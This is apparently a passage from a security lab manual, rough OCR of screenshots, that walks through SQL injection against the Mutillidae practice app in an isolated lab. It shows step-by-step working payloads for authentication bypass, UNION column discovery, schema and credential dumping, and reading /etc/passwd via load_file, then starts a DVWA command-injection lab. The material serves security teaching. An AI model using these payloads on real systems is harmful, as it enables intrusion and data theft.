Documentation 4

View Captured Data

Toggle Security View Log

View your details

Please enter username and password
to view account details
Name | ! |
—T Password

Site | View Account Details ‘

hacked...err...quality-

tested with Samurai
MWTE Backirack

Dont have an account? Please register here

Fig 7.10: SQL Injection Test 1

Mozilla Firefox (on attacker_1) = o X
# 10.10.10.3/mutillidae’ x | +
“« ¢ @ © & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="&pas e g mn o e =

 Kali Linux @ Kali Tools Kali Docs ¥ Kali Forums (@ Kali NetHunter ® Exploit-DB & Google Hacking DB | OffSec

Site View Account Details
hacked...err...quality-
tested with Samurai Dont have an account? Please register here

WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these | Error: Failure is always an option and this situation proves it
Mozilla Add-ons - - =

File

SSiizizTiiiiiissisiisiiiIissisisiiIiiiSTisTIiTissiiiiissiisiisiisiisiiisisszisiszziziszziziacd

(UEEENEE S @ =00 or executing guery: You have an error in your SQL syntax; check the manual
— Message that corresponds to your MySQL server version for the right syntax to use near "" :
|&j AND password="" at line 1
|
Mutillidae Disgmotic
Channel | Information ‘LSELECT * FROM accounts WHERE username="" AND password= J
Developed by Adrian Did you setup/reset the DB?

"lrongeek" Crenshaw
and Jeremy Druin

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
PHP Version: 5.2.4-2ubuntu5.27
The newest version of Mutillidae can downloaded from Irongeek's Site

Fig 7.11: Output of SQL Injection Test 1

The website displays an error message because the input contains characters that have special
meaning on the database. The error message provides the complete path of the page which
exposes additional information, such as the server's operating system, which is most likely
Linux. It also specifies that the database is “MySQL”. And the following SQL statement, which
appears in the error message, is only true if the username and password are entered correctly.

SELECT * FROM accounts WHERE username="" AND password="
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Let's try to bypass the authentication process without using the username and password. For

this, let's type the following SQL injection code in the “Name” input box and click the “View

Account Details” button to dump the database.

‘orl=1#

Mozilla Firefox (on attacker_1)

¥ 10.10.10.3/mutillida

& ¢ @

x  +

© & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UN

n @ &

B IS

A Kali Linux  # Kali Tools Kali Docs ¥ Kali Forums {§ Kali NetHunter = Exploit-DB ® Google Hacking DB} Offsec

@®@%¢ Mutillidae: Born to be Hacked

Home

OWASP Top 10 »

P Y

Site
hacked...err...quality-
tested with Samurai

Version: 2.1.19

Hints: Disabled (0 - | try harder) Not Logged In

Reset DB

Security Level: 0 (Hosed)
Toggle Security

View Captured Data

Login/Register Toggle Hints View Log

Back

View your details

Please enter username and password
to view account details

Name torl=1#

Password

| View Account Details |

Dont have an account? Please register here

L IAMTE Discles

Fig 7.12: SQL Injection Test 2

This causes the application to perform the following query:

SELECT * FROM users WHERE username =" OR 1=1 # AND password ="

The single quote makes the username field blank. The statement is currently false. But the

“OR” operator tells the statement if anything after it is true (e.g., “1=1"), then the whole query

becomes true. The “#” tells the statement to ignore out everything after it. This is equivalent to

the following query:

SELECT * FROM users WHERE username =" OR 1=1
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Mozilla Firefox (on attacker_1) — [m] X

¥ 10.10.10.3/mutillidae’ X | +

&« c o © | & 10.10.10.3/mutillidae/index.php?page=user-info.php&username='+or+1% w N @ &

%5 Kali Linux @ Kali Tools Kali Docs ¥ Kali Forums & Kali NetHunter % Exploit-DB % Google Hacking DB} Offsec

Site View Account Details ‘
hacked...err...quality-
tested with Samurai Dont have an account? Please register here

WTF, Backtrack,
Firefox, Burp-Suite, ‘
Netcat, and these

Mozilla Add-ons

Results for . 16 records found.

Username=admin
Password=adminpass
Signature=Monkey!

Username=adrian

@webpwnized Password=somepassword

— Signature=Zombie Films Rock!

™
& | Username=john
Mutilli-dae Password=monkey

Channel Signature=| like the smell of confunk
1 Usernames=jeremy
Developed by Adrian Password=password
Irongeek" Crenshaw|  signature=d1373 1337 speak

and Jeremy Druin
Username=bryce
Password=password
Signature=| Love SANS

Fig 7.13: Output of SQL Injection Test 2

The SQL statement has successfully dumped the database and returned user information.

Now, let’s try to get the database version by typing the following SQL injection code in the

“Name” input box and clicking the “View Account Details” button.

"UNION SELECT @@version #

Mozilla Firefox (on attacker_1)

¥ 10.10.10.3/mutillidae’ X | +

<« ¢ @ © & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UNION+ === g n @0 &

4 Kali Linux  # Kali Tools Kali Docs X Kali Forums ¥ Kali NetHunter = Exploit-DB = Google Hacking DB} Offsec

®@%« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Reset DB

- -
| View your details

Cowen ] Back

View Log View Captured Data

Toggle Security

Please enter username and password
to view account details
Name ' UNION SELECT @@version #
Py Password
Site View Account Details

hacked...err...quality-

tested with Samurai Dont have an account? Please register here

LL_WITE Backitraci

Fig 7.14: SQL Injection Test 3
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¥ 10.10.10.3/mutillidae’ X

<« c @

Site
hacked...err...quality-
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

@webpwnized

™
&
Mutillidae
Channel

Developed by Adrian
"lrongeek"” Crenshaw

@ & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UNION

and Jeremy Druin

Mozilla Firefox (on attacker_1)

=+

w In @ €

™) Kali Linux @ Kali Tools Kali Docs BN Kali Forums & Kali NetHunter # Exploit-DB % Google Hacking DB ) OffSec

View Account Details ‘

Dont have an account? Please register here

Error: Failure is always an option and this situation proves it

ELECT * FROM accounts WHERE username="" UNION SELECT @@version #'
“AND password=""

Diagnotic
Information

Did you setup/reset the DB?

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

PHP Version: 5.2.4-2Zubuntu5.27

The newest version of Mutillidae can downloaded from Irongeek’'s Site

Fig 7.15: Output of SQL Injection Test 3

The website displays an error message stating "The used SELECT statements have a different

number of columns”. So, the number of columns must be balanced to get information from the

database.

To find out how many columns this table has, type ' UNION SELECT NULL #” in the
“Name” input box and click the “View Account Details” button. But the identical error message

appeared once again. Keep adding "NULL" until no error message appears. The valid input is

as follows

"UNION SELECT NULL,NULL,NULL,NULL,NULL #

Mozilla Firefox (on attacker_1)

¥ 10.10.10.3/mutillidae

<« c @

b4

+
@ & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UNION

w @

™ Kali Linux @ Kali Tools Kali Docs RN Kali Forums &Y Kali NetHunter = Exploit-DB % Google Hacking DB ) Offsec

Q}@ Mutillidae: Born to be Hacked

OWASP Top 10 4

P o

Site

Version: 2.1.19

Home

hacked...err...quality-
tested with Samurai

Security Level: 0 (Hosed) Hints: Disabled (0 - 1 try harder) Not Logged In

Reset DB View Log View Captured Data

Toggle Hints Toggle Security

Login/Register

View your details

Please enter username and password
to view account details

Name ' UNION SELECT NULL,NULL,NULL ,NULL,NULL #

Password

View Account Details

Dont have an account? Please register here

L MWTE Backirack

Fig 7.16: SQL Injection Test 4
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Mozilla Firefox (on attacker_1) - 0 =

$ 10.10.10.3/mutillidae’ X | +

<« ¢ o © | & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UNION+ e g n o &

3 Kali Linux @ Kali Tools Kali Docs ¥ Kali Forums {3 Kali NetHunter % Exploit-DB % Google Hacking DB J Offsec

Site
hacked...err...quality-
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite, ‘
Netcat, and these
Mozilla Add-ons

View Account Details ‘

Dont have an account? Please register here

Results for . 1 records found.

Username=
Password=
Signature=
@webpwnized
™
&
Mutillidae
Channel

Developed by Adrian
"lrongeek"” Crenshaw
and Jeremy Druin

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
PHP Version: 5.2.4-2ub u5.27
The t version of Mutillidae can downloaded from Irongeek's Site

Fig 7.17: Output of SQL Injection Test 4

Despite having 5 columns, only 3 are displayed, So, the relative positions of those three
columns must be determined. For this, type in the “Name” input box and click the “View

Account Details” button.

"UNION SELECT 'Column-1','Column-2','Column-3','Column-4','Column-5"' #

Mozilla Firefox (on attacker_1)

¥ 10.10.10.3/mutillidae’ X | +

<« ¢ @ © & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UNION+ s w n o ¢

™ Kali Linux # Kali Tools Kali Docs ¥ Kali Forums {3 Kali NetHunter = Exploit-DB % Google Hacking DB L OffSec

@)%« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In
Home Login/Register Toggle Hints

|
OWASP Top 10 4

fowes 7] Back

Documentation 4

Please enter username and password

to view account details

Toggle Security Reset DB View Log View Captured Data

View your details

Name " UNION SELECT 'Column-1',"Column-2*,'Column-3','Column-4',"Column-5" #

—T Password

Site
hacked...err...quality-
tested with Samurai
L_JATE Backtrack

View Account Details

Dont have an account? Please register here

Fig 7.18: SQL Injection Test 5
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Mozilla Firefox (on attacker_1) - 0 X
§ 10.10.10.3/mutillidas’ x | +
&« c @ & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UNION+ == w nmo e =
" Kali Linux @ Kali Tools Kali Docs &% Kali Forums (@ Kali NetHunter ® Exploit-DB % Google Hacking DB} OffSec
Site View Account Details ‘
hacked...err...quality-
tested with Samurai Dont have an account? Please register here
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these | Results for . 1 records found.
LI Lk ens Username=Column-2
Password=Column-3
Signature=Column-4
@webpwnized
™
&
Mutillidae
Channel
Developed by Adrian
"lrongeek"” Crenshaw
and Jeremy Druin
Browser: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
PHP Version: 5.2.4-2ubuntu5.27
The newest version of Mutillidae can downloaded from Irongeek's Site
Fig 7.19: Output of SQL Injection Test 5
From the output, columns 2, 3, and 4 are the ones that are shown and can be used to get

information from the database.

Now let's try to get the database version again by typing the following SQL injection code in

the “Name” input box and clicking the “View Account Details” button.

"UNION SELECT NULL,@@version,NULL,NULL,NULL #

Mozilla Firefox (on attacker_1)
¥ 10.10.10.3/mutillidae’ X | +
&« ¢ @ © | & 10.10.10.3/mutillidae/index.php?page=userinfo.php&username="+UNION+ === w

4 Kali Linux & Kali Tools Kali Docs ¥ Kali Forums & Kali NetHunter % Exploit-DB % Google Hacking DB ] Offsec

n @ @€

Q}@ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security View Log View Captured Data

Reset DB

View your details

'
Please enter username and password

to view account details

Name " UNION SELECT NULL,@@version,NULL,NULL,NULL #
—— Password
Site ‘ View Account Details ‘
hacked...err...quality-
tested with Samurai Dont have an account? Please register here
|| WTF Backirack

Fig 7.20: SQL Injection Test 6
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Mozilla Firefox (on attacker_1)

§ 10.10.10.3/mutillidae’ X | +

™ Kali Linux £ Kali Tools Kali Docs XX Kali Forums { Kali NetHunter % Exploit-DB % Google Hacking DB J OffSec

Site View Account Details |
hacked...err...quality-
tested with Samurai Dont have an account? Please register here

WTF, Backtrack,

&« c @ © & 10.10.10.3/mutillidae/index.php?page=userinfo.php&username="+UNION+ === w

N @ &

AL, IS, | Results for . 1 records found.

Netcat, and these

R Username=5.0.96-Oubuntu3

Password=
Signature=

@webpwnized

™
&
Mutillidae
Channel

Developed by Adrian
“lrongeek" Crenshaw
and Jeremy Druin

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

PHP Version: 5.2.4-2ubuntu5.27

The newest version of Mutillidae can downloaded from Irongeek's Site

Fig 7.21: Output of SQL Injection Test 6

Finally, the database version is retrieved. Let's dump the database schema to see a list of tables

and columns with their associated names. For this, type the following SQL injection code in

the “Name” input box and click the “View Account Details” button.

"UNION SELECT NULL,table_name,column_name,NULL,NULL FROM

information_schema.columns #

Mozilla Firefox (on attacker_1)

§ 10.10.10.3/mutillidae’ X | +

3 Kali Linux £ Kali Tools Kali Docs XX Kali Forums (R Kali NetHunter % Exploit-DB % Google Hacking DB} OffSec

<« c & © | & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="'+UNION + w

In @O &

@4 Mutillidae: Born to be Hacked

Version: 2.1.19

Home Login/Register Toggle Hints

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In
Toggle Security Reset DB View Log View Captured Data

Core Controls 4 |

View your details

OWASP Top 10 L3

:

Documentation 4

Please enter username and password

to view account details

Name ' UNION SELECT NULL,table_name,column_name,NULL,NULL FROM information_schema.columns #
——, Password
Site View Account Details
hacked...err...quality-
tested with Samurai Dont have an account? Please register here
k.
U

Fig 7.22: SQL Injection Test 7

95




Mozilla Firefox (on attacker_1) - o x

# 10.10.10.3/mutillidas’ X | +

&« ¢ @ £ 10.10.10.3/mutillidae/index.php?page=user-info.php&username="'+UNION+S5[ === w n o ¢ =
™ Kali Linux & Kali Tools Kali Docs XX Kali Forums (¥ Kali NetHunter % Exploit-DB % Google Hacking DB} OffSec

Site View Account Details ‘ |
hacked...err...quality-
tested with Samurai Dont have an account? Please register here

WTF, Backtrack,
Firefox, Burp-Suite, ‘
Netcat, and these

Mozilla Add-ons

Results for . 1821 records found. ‘

Username=CHARACTER_SETS
Password=CHARACTER_SET_NAME
Signature=

Username=CHARACTER_SETS
Password=DEFAULT_COLLATE_NAME
Signature=

@webpwnized

Username=CHARACTER_SETS
Password=DESCRIPTION

Mutillidae

Channel Signature=
_ Username=CHARACTER_SETS
Developed by Adrian Password=MAXLEN
“lrongeek" Crenshaw Signature=

and Jeremy Druin
Username=COLLATIONS
Password=COLLATION_NAME
Signature=

Fig 7.23: Output of SQL Injection Test 7

The "accounts” table can be found by scrolling through the list. Let's dump the "accounts” table.
For this, type the following SQL injection code in the “Name” input box and click the “View

Account Details” button.

"UNION SELECT NULL,table_name,column_name,data_type,NULL FROM

information_schema.columns WHERE table_name = "accounts' #

Moxzilla Firefox (on attacker_1)

$ 10.10.10.3/mutillidae; X | +

&« C o © | & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UNION+SELECT+NULL%2Ctable_n: === w n @ &

™ Kali Linux # Kali Tools Kali Docs ¥ Kali Forums &Y Kali NetHunter % Exploit-DB % Google Hacking DB J OffSec

@4« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Reset DB

: .

View your details

OWASP Top 10 1>
Gy oo

‘ Please enter username and password ‘

Toggle Hints  Toggle Security ViewLog  View Captured Data

to view account details

Name ' UNION SELECT NULL, table_name,column_name,data_type,NULL FROM information_schema.columns WHERE table_name = 'accounts' #
Password

View Account Details

tested with Samurai Dont have an account? Please register here
WTF. Racktracl

Fig 7.24: SQL Injection Test 8



Mozilla Firefox (on attacker_1) - o
I 10.10.10.3/mutillidae’ % | +
&« c ® @ | & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="'+U s o m o & =

™ Kali Linux & Kali Tools Kali Docs X Kali Forums R Kali NetHunter # Exploit-DB % Google Hacking DB J Offsec

Site View Account Details
hacked...err...quality-
tested with Samurai Dont have an account? Please register here

WTF, Backtrack,
Firefox, Burp-Suite, |
Netcat, and these
Mozilla Add-ons

Results for . 5 records found.

Username=accounts
Password=cid
Signature=int

. Username=accounts
XTI =T Password=username
— Signature=text

-
ﬁ { Username=accounts
Mutillidae Password=password

Channel Signature=text
1 Username=accounts
Developed by Adrian Password=mysignature
"lrongeek" Crenshaw Signature—text

and Jeremy Druin

Username=accounts
Password=is_admin
Signature=varchar

Fig 7.25: Output of SQL Injection Test 8

There are additional fields in the “accounts” table such as "cid", "is_admin", "firstname", and

"lastname”. Let's have a look at the "is admin™ field. For this, type the following SQL injection

code in the “Name” input box and click the “View Account Details” button.

"UNION SELECT NULL,cid,username,is_admin,NULL FROM accounts #

Mozilla Firefox (on attacker_1) - o X
¥ 10.10.10.3/mutillidae x | +
<« c @ © & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UNIO" s w mn o e =

7 Kali Linux & Kali Tools Kali Docs X Kali Forums &Y Kali NetHunter = Exploit-DB % Google Hacking DB J OffSec

@4« Mutillidae: Born to be Hacked

Hints: Disabled (0 - | try harder)

Version: 2.1.19 Not Logged In

Home Login/Register Toggle Hints

: :
View your details

OWAbP Top 10

Security Level: 0 (Hosed)

Reset DB View Log View Captured Data

Toggle Security

Documentatlon

Resnurces Please enter username and password
to view account details

Name ' UNION SELECT NULL,cid,username,is_admin,NULL FROM accounts #
/fh Password
Site View Account Details
hacked...err...quality-
tested with Samurai Dont have an account? Please register here

WTF, Backtrack,

Fig 7.26: SQL Injection Test 9
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¥ 10.10.10.3/mutillidae, X

<« c @

%4 Kali Linux & Kali Tools

Site
hacked...err...quality-
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

@webpwnized
™
&
Mutillidae
Channel

Developed by Adrian
"lrongeek" Crenshaw

Mozilla Firefox (on attacker_1) = @
+
© & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UNI

e w in @ &

Kali Docs ¥ Kali Forums (& Kali NetHunter # Exploit-DB ® Google Hacking DB} OffSec

View Account Details

Dont have an account? Please register here

| Results for . 16 records found.

Username=1
Password=admin
Signature=TRUE

Username=2
Password=adrian
Signature=TRUE

Username=3
Password=john
Signature=FALSE

Username=4
Password=jeremy
Signature=FALSE

and Jeremy Druin
Username=5

Password=bryce
Signature=FALSE

Fig 7.27: Output of SQL Injection Test 9

The value for "is_admin" appears to be either "TRUE" or "FALSE". So, the database has a list

of admin users. Let's have a look at who is accessing the database through the application. For

this, type the following SQL injection code in the “Name” input box and click the “View

Account Details” button.

"UNION SELECT NULL,current_user(),NULL,NULL,NULL #

Mozilla Firefox (on attacker_1) =
I 10.10.10.3/mutillidae; X | +

& c @

2 Kali Linux £ Kali Tools Kali Docs ¥ Kali Forums & Kali NetHunter % Exploit-DB % Google Hacking DB} OffSec

© | & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UNIO! s+ w m o e

Q}@ Mutillidae: Born to be Hacked

Hints: Disabled (0 - | try harder) Not Logged In

Version: 2.1.19 Security Level: 0 (Hosed)

Toggle Security

Reset DB

View Log View Captured Data

Home Toggle Hints

|
OWASP Top 10 4

Login/Register

Back

View your details

Please enter username and password
to view account details

Name ' UNION SELECT NULL,current_user(},NULL,NULL,NULL #

Password

—

Site View Account Details
hacked...err...quality-
tested with Samurai

WTF, Backtrack,

Dont have an account? Please register here

Fig 7.28: SQL Injection Test 10
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Kali Linux #» Kali Tools
2

Site
hacked...err...quality-
tested with Samurai

WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these

Kali Docs ¥ Kali Forums {3 Kali NetHunter % Exploit-DB % Google Hacking DB J OffSec

View Account Details

Dont have an account? Please register here

‘ Results for . 1 records found.

Mozilla Firefox (on attacker_1) - O X
f 10.10.10.3/mutillidae; x | +
< c o © | & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UNIO" +== w mn o e =

Mozilla Add-ons Username=root@%

Password=
Signature=
@webpwnized
™
@
Mutillidae
Channel

Developed by Adrian
"lrongeek" Crenshaw
and Jeremy Druin

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
PHP Version: 5.2.4-2ubuntu5.27
The newest version of Mutillidae can downloaded from Irongeek's Site

Fig 7.29: Output of SQL Injection Test 10

This application is running as root. Let's see what database is currently connected. For this,
type the following SQL injection code in the “Name” input box and click the “View Account

Details” button.

"UNION SELECT NULL,database(), NULL,NULL,NULL #

Mozilla Firefox (on attacker_1)

¥ 10.10.10.3/mutillidae; x | +

<« c @
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View your details
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Site View Account Details
hacked...err...quality-
tested with Samurai

WTF, Backtrack,

Dont have an account? Please register here

Fig 7.30: SQL Injection Test 11
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Mozilla Firefox (on attacker_1)

§ 10.10.10.3/mutillidae’ x | +

&« c @ © & 10.10.10.3/mutillidae/index.php?page=user-info.php&username="+UNIQO| ses g n 0 &
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tested with Samurai
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Developed by Adrian

"lrongeek" Crenshaw
and Jeremy Druin

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

PHP Version: 5.2.4-2ubuntu5.27

The newest version of Mutillidae can downloaded from Irongeek's Site

Fig 7.31: Output of SQL Injection Test 11

This application is currently connected to the owaspl0database. Let's try to read a file from the

server's filesystem. For this, type the following SQL injection code in the “Name” input box

and click the “View Account Details” button.

"UNION SELECT NULL,load_file('/etc/passwd’),NULL,NULL,NULL #

Mozilla Firefox (on attacker_1)

¥ 10.10.10.3/mutillidas’ % | +

< c @ © | & 10.10.10.3/mutillidae/index.php?page=user-info.php&username= B e w I @
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Reset DB View Log

Home Login/Register Toggle Hints Toggle Security
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View your details

OWASP Top 10 »
[V

Please enter username and password
to view account details
e Name " UNION SELECT NULL,load_file(*/etc/passwd’), NULL,NULL, NULL #
Password

e Y
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hacked...err...quality-
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Dont have an account? Please register here

WTF, I!acktracki

Fig 7.32: SQL Injection Test 11
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¥ 10.10.10.3/mutillidae X

<« c @
3 Kali Linux & Kali Tools

Site
hacked...err...quality-
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

@webpwnized

™
& )
Mutillidae

Channel

Developed by Adrian
"lrongeek"” Crenshaw
and Jeremy Druin

Mozilla Firefox (on attacker_1) - o

+
© | & 10.10.10.3/mutillidae/index.php?page=user-info.php&username= 8| - o

Kali Docs X¥ Kali Forums (& Kali NetHunter ® Exploit-DB % Google Hacking DB L OffSec

in @ &

View Account Details |

Dont have an account? Please register here

‘ Results for . 1 records found.

Username=root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:
/binfsh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:
/binfsh man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var
/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:
/binfsh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:
/binffalse postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysqgl:x:109:118:MySQL
Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false

Password=

Signature=

Fig 7.33: Output of SQL Injection Test 11
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Chapter 8
Lab 06 - Analyzing Command Injection Vulnerability of DVWA

8.1 Overview
This lab exercise explores the Command Injection vulnerability at different security levels in
the Command Execution page of Damn Vulnerable Web Application (DVWA) running on
Metasploitable2.

8.2 Background Information

Command injection vulnerability is a web security vulnerability where a website application
allows arbitrary system commands to be executed. Command injection vulnerability occurs,
when a web application has insufficient input validation and passes user-supplied data to the
system shell. Depending on the level of privilege the application has, an attacker can access

configuration files, edit or delete data, or even get a shell or create a backdoor,

The Damn Vulnerable Web Application (DVWA) is a web application that deliberately
includes security vulnerabilities. The main purpose of the DVWA is to help security
professionals to examine their skills and tools in a legal environment. It helps web developers
to comprehend more accurately the processes of securing web applications. Also, it allows

teachers to teach and students to learn web application security in an isolated environment.
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8.3 Performing the Lab

Step 1: Prepare the Environment of the Experiment
First, start and attach the victim container by opening a GNOME Terminal on the Ubuntu

machine and running the following commands

docker start victim_1

docker attach victim_1

1 csl@csL: ~

:~5 docker start victim 1
victim 1
:~$ docker attach victim_1

root@victim_1:/#

Fig 8.1: Start and Attach the Victim Container

In the victim container, all services are disabled by default. Run the following command in the

terminal of the victim container to start the required services.

services.sh

I+l @victim_1: f

root@victim_1:/# services.sh
* Starting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 10.10.16.3 for ServerMName
OK
* Starting deferred execution scheduler atd (0] 4
* Starting periodic command scheduler crond (0] 4
Starting distccd
* Starting MySQL database server mysqld OK
Checking for corrupt, not cleanly closed and upgrade needing tables.
Configuring network interfaces...
Starting portmap daemon...
Starting Postfix Mail Transport Agent postfix
Starting PostgreSQL 8.3 database server
Starting ftp server proftpd
Starting Samba daemons
arting network management services: snmpd.
mpd[715]: error finding row index in _ifXTable_container_row_restore

* Starting OpenBSD Secure Shell server sshd
Starting system log daemon...
Starting Tomcat servlet engine tomcat5.5
Starting internet superserver xinetd
Doing Wacom setup...
* Running local boot scripts (/etc/rc.local)
nohup: appending output to ‘nohup.out’
nohup: appending output to ‘nohup.out’

root@victim_1:/# I

Fig 8.2: Start Necessary Services of the Victim Container
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Open another GNOME Terminal in the ubuntu machine and run the following commands to

start and attach the attacker container

docker start attacker_1

docker attach attacker_1

1 csl@csL: ~

docker start attacker_1

attacker _:

|

docker attach attacker 1

Fig 8.3: Start and Attach the Attacker Container

Step 2: Get the Network Information of the Attacker Container

Run the “ifconfig” command from the terminal of the attacker container to obtain the IP address

of the attacker container.

root@attacker_1: [

[j_;. 1#_ -]
ifconfig

eth®: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST>
inet 10.18.10.2 netmask 255.255.255.248
ether 02:42:0a:0a:0a:02 txqueuelen @ (Ethernet)
RX packets 44 bytes 6014 (5.8 KiB)
RX errors @ dropped @ overruns @ frame ©
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped @ overruns ©

mtu 1500

carrier @

Fig 8.4: IP Address of the Attacker Container

broadcast 10.10.18.7

collisions ©

To determine the gateway of the attacker container, run the “route -n” command.

root@attacker_1: /

[r—; Qﬂ -[f]
route -n

Kernel IP routing table
Destination Gateway
0.0.0.0 10.160.168.1
10.10.10.0 0.0.0.0

Genmask
0.0.0.0 UG 0
255.255.255.248 U 0

Fig 8.5: Gateway of the Attacker Container

Flags Metric Ref

Use Iface
0 0 ethe
0 8 ethoe

The IP address of the attacker container is 10.10.10.2, which belongs to the 10.10.10.0/29

network, and its gateway is 10.10.10.1.
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Step 3: Scanning Available Hosts
In the terminal of the attacker container, run a Nmap ping scan on the “10.10.10.0/29” network

to show the available hosts of the network.

root@attacker_1: /

( -[/]
[:_ nmap -sn 10.10.10.0/29
Starting Nmap 7.91 ( https://nmap.org ) at 20621-09-26 05:18 UTC
Mmap scan report for CSL (10.10.18.1)
Host is up (©.000891s latency).
MAC Address: 02:42:C8:19:D06:91 (Unknown)
Mmap scan report for victim 1.vulnet (10.10.10.3)
Host is up (©.000827s latency).
MAC Address: 02:42:0A:0A:8A:03 (Unknown)
Mmap scan report for attacker 1 (10.10.18.2)
Host is up.
Mmap done: B IP addresses (3 hosts up) scanned in 1.64 seconds

Fig 8.6: Available Hosts in the Network

According to the ping scan report, the following three hosts are available on the
“10.10.10.0/29” network.

e 10.10.10.1 is the gateway of the “10.10.10.0/29” network.
e 10.10.10.2 is the attacker container.

e 10.10.10.3 is the victim container.
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Step 4: Access the Damn Vulnerable Web Application (DVWA)

In the terminal of the attacker container, type “firefox” and hit “Enter” to launch the Firefox

browser.

firefox

Kali Linux - Mozilla Firefox (on attacker_1)

Kali Linux 3 [
c ® @ file:///usr/share/kali-defaults/web/homepage.html - O W% m o & =

) Kali Linux # Kali Tools Kali Docs XX Kali Forums X Kali NetHunter ® Exploit-DB % Google Hacking DB J OffSec

KAH H KALILINUX TOOLS DOCUMENTATION FORUMS BUGTRACKER OFFENSIVE SECURITY I

Welcome to Kali Linux

The Industry's Most Advanced Penetration Testing Distribution

Now that you have successfully downloaded Kali Linux, here are some good resources to help
you get started.

Fig 8.7: Firefox Browser Running on the Attacker Container

Type the IP address of the victim container in the Firefox browser and hit “Enter” to access the

Metasploitable2 web server.

Metasploitable2 - Linux - Mozilla Firefox (on attacker_1) - o
Metasploitable2 - Linux % | +
c @ © % 10.10.10.3 - w5 n o & =

5 Kali Linux @ Kali Tools Kali Docs ¥ Kali Forums ¥ Kali NetHunter & Exploit-DB % Google Hacking DB} Offsec

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[atlmetasploit.com

Login with msfadmin/msfadmin to get started

o TWiki

« phpMyAdmin
« Mutillidae

* DVWA

« WebDAV

Fig 8.8: Metasploitable2 Web Server
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Click “DVWA” to open the Damn Vulnerable Web Application page.

Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox (on attacker_1) - 0 x
x |+

© | & 10.10.10.3/dvwa/login.php

Damn Vulnerable Web 2
R -

™ Kali Linux 8 Kali Tools [ Kali Docs ¥ Kali Forums & Kali NetHunter % Exploit-DB % Google Hacking DB L OffSec

N o & =

)
DV{IWA

Username

Password

Login

